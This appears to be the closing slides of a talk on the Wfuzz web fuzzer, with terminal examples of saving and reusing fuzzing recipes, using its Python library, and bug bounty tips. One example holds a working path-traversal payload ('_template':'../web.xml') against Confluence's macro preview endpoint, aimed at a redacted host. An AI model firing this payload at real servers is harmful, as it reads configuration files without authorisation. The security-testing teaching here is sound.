$ ./wfuzz -z wfuzzp -H 'Content-Type: application/json; charset=UTF-8' -d '{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}' --filter "content~'</web-app>' --dump-recipe /tmp/recipe
```

```
*****  
* Wfuzz 2.4 - The Web Fuzzer *  
*****
```

```
Recipe written to /tmp/recipe.
```

```
$ █
```

2.- Share the recipe... For example, send a PR to https://github.com/xmendez/wfuzz_recipes (not public... yet)

3.- Use the recipe with your custom parameters...

```
$ ./wfuzz --recipe /tmp/recipe -z list --zD confluence -u https://FUZZ.██████████l  
/rest/tinymce/1/macro/preview -p 125.25.165.21:41892
```

```
*****  
* Wfuzz 2.4 - The Web Fuzzer *  
*****
```

```
Target: https://FUZZ ██████████l/rest/tinymce/1/macro/preview  
Total requests: 1
```

```
=====
```

ID	Response	Lines	Word	Chars	Payload
000000001:	200	1780 L	2481 W	76179 Ch	"confluence"

```
=====
```

```
Total time: 12.38374  
Processed Requests: 1  
Filtered Requests: 0  
Requests/sec.: 0.080751
```

Example 7: Or use the wfuzz library

```
$ python
Python 3.6.6 (default, Sep 12 2018, 18:26:19)
[GCC 8.0.1 20180414 (experimental) [trunk revision 259383]] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import wfuzz
>>> with wfuzz.get_payload(range(3)) as session:
...     for r in session.fuzz(url="http://testphp.vulnweb.com/artists.php?artist=FUZZ"):
...         print(r)
...
00001:  C=200      99 L      272 W      3868 Ch      "0"
00003:  C=200     118 L      455 W      5326 Ch      "2"
00002:  C=200     118 L      455 W      5384 Ch      "1"
>>> █
```

Hints for earning some \$\$\$ in bug bounties:



bounty-targets-data → theharvester →
Photon/Burp →

<https://portswigger.net/blog/top-10-web-hacking-techniques-of-2018> → **Wfuzz**

Questions?

Wfuzz 2.4 about to be released... :)

<http://wfuzz.org>

pip install wfuzz

Twitter: @x4vi_mendez